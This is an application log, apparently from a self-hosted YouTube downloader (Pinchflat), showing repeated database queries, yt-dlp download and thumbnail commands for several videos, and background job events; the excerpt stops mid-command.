22:13:37.800 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:37.800 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:37.800 [debug] Running yt-dlp command for action: get_downloadable_status 22:13:37.800 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:37.800 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:37.800 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:37.800 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xxSyov0Hjz8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d8/2b/d82b266853b1be18e63566871dbd01545e129d9590d7dfe751a28abe0e07475c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:13:37.889 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=L4p2gN2CzsA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e7/82/e7827ef04b749f2f60310e18af3a62b2b02f2246aaa50fe23535b42f44eacee8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:13:37.889 [debug] Running yt-dlp command for action: download 22:13:37.889 [debug] QUERY OK source="settings" db=0.0ms idle=89.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:37.889 [debug] QUERY OK source="settings" db=0.0ms idle=89.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:37.889 [debug] QUERY OK source="settings" db=0.0ms idle=89.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:37.889 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=L4p2gN2CzsA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/13/74/13748d29c52e9fe1b1927c734976caf0ab07cb7d566f32b8b25baa91b3556a4e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:13:40.229 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xxSyov0Hjz8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d8/2b/d82b266853b1be18e63566871dbd01545e129d9590d7dfe751a28abe0e07475c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:13:40.229 [debug] Running yt-dlp command for action: download 22:13:40.229 [debug] QUERY OK source="settings" db=0.0ms idle=1167.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:40.229 [debug] QUERY OK source="settings" db=0.0ms idle=1167.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:40.230 [debug] QUERY OK source="settings" db=0.0ms idle=1167.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:13:40.230 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xxSyov0Hjz8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/1e/fb1e222ac6c801e8927fd3da9e9f55857e2ea278d1314f81551442b6a5670ac1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:13:58.851 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.651 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:28.853 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:56.085 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=L4p2gN2CzsA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/13/74/13748d29c52e9fe1b1927c734976caf0ab07cb7d566f32b8b25baa91b3556a4e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:14:56.103 [debug] Running yt-dlp command for action: download_thumbnail 22:14:56.103 [debug] QUERY OK source="settings" db=0.0ms idle=1041.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:56.104 [debug] QUERY OK source="settings" db=0.0ms idle=971.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:56.104 [debug] QUERY OK source="settings" db=0.0ms idle=41.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:56.104 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=L4p2gN2CzsA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/73/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c7/33/c733e5ff0e493fcf734de24a085347d53ef6568f679956a6f25cfa60eee1b7ad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:14:58.855 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:59.568 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=L4p2gN2CzsA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/73/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/c7/33/c733e5ff0e493fcf734de24a085347d53ef6568f679956a6f25cfa60eee1b7ad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:14:59.569 [debug] QUERY OK db=0.0ms idle=1506.5ms begin [] 22:14:59.569 [debug] QUERY OK source="media_items" db=0.2ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:14:56Z], "/downloads/TADC/2025-06-20 THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled/THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled [L4p2gN2CzsA].mp4", [["en", "/downloads/TADC/2025-06-20 THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled/THE AMAZING DIGITAL CIRCUS - Ep 5: Untitled [L4p2gN2CzsA].en.vtt"]], ~U[2026-03-28 02:14:59Z], 73] 22:14:59.569 [debug] QUERY OK source="media_metadata" db=0.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/73/metadata.json.gz", "/config/metadata/media_items/73/thumbnail.jpg", 73, ~U[2026-03-28 02:14:59Z], ~U[2026-03-28 02:14:59Z]] 22:14:59.569 [debug] QUERY OK db=0.0ms commit [] 22:14:59.571 [debug] QUERY OK source="media_items" db=0.3ms idle=1508.1ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [325612607, ~U[2026-03-28 02:14:59Z], 73] 22:14:59.571 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:14:59.571 [info] {"args":{"id":73},"id":78,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":84453334,"event":"job:stop","queue_time":5093117396,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:14:59.571 [debug] QUERY OK source="tasks" db=0.3ms idle=715.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:14:59.571 [debug] QUERY OK source="tasks" db=0.3ms idle=433.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:14:59.572 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [74] 22:14:59.572 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [74] 22:14:59.577 [info] {"args":{"id":75},"id":80,"meta":{},"system_time":1774664099577654436,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:14:59.577 [debug] QUERY OK source="media_items" db=0.1ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [75] 22:14:59.577 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:14:59.578 [debug] QUERY OK source="tasks" db=0.2ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:14:59.578 [debug] QUERY OK source="sources" db=0.3ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:14:59.578 [debug] QUERY OK source="tasks" db=0.5ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:14:59.578 [debug] QUERY OK source="media_items" db=0.3ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [74, 75] 22:14:59.578 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:59.578 [debug] QUERY OK source="media_items" db=0.3ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [74, 75] 22:14:59.579 [debug] QUERY OK source="media_items" db=0.1ms idle=0.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [75] 22:14:59.579 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [75] 22:14:59.579 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:59.579 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:59.579 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:59.579 [debug] Running yt-dlp command for action: get_downloadable_status 22:14:59.580 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:59.580 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:59.580 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:14:59.580 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_Cfo55unVzM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/74/0a/740abd4f579abad52be963affefb345cb455377ceacfb40cfa9d68d80ecc552d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:15:00.652 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:01.838 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_Cfo55unVzM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/74/0a/740abd4f579abad52be963affefb345cb455377ceacfb40cfa9d68d80ecc552d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:15:01.838 [debug] Running yt-dlp command for action: download 22:15:01.839 [debug] QUERY OK source="settings" db=0.1ms idle=1186.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:01.839 [debug] QUERY OK source="settings" db=0.0ms idle=776.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:01.839 [debug] QUERY OK source="settings" db=0.0ms idle=776.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:01.839 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_Cfo55unVzM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/4a/fb/4afbc966eb7b71db01a572c03086a52707745121a9b29155b3e648987b6a0989.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:15:28.857 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:31.252 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xxSyov0Hjz8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/1e/fb1e222ac6c801e8927fd3da9e9f55857e2ea278d1314f81551442b6a5670ac1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:15:31.261 [debug] Running yt-dlp command for action: download_thumbnail 22:15:31.262 [debug] QUERY OK source="settings" db=0.1ms idle=1074.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:31.262 [debug] QUERY OK source="settings" db=0.0ms idle=199.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:31.262 [debug] QUERY OK source="settings" db=0.0ms idle=199.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:15:31.262 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xxSyov0Hjz8 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/74/thumbnail.%(ext)s --print-to-file after_move:%()j 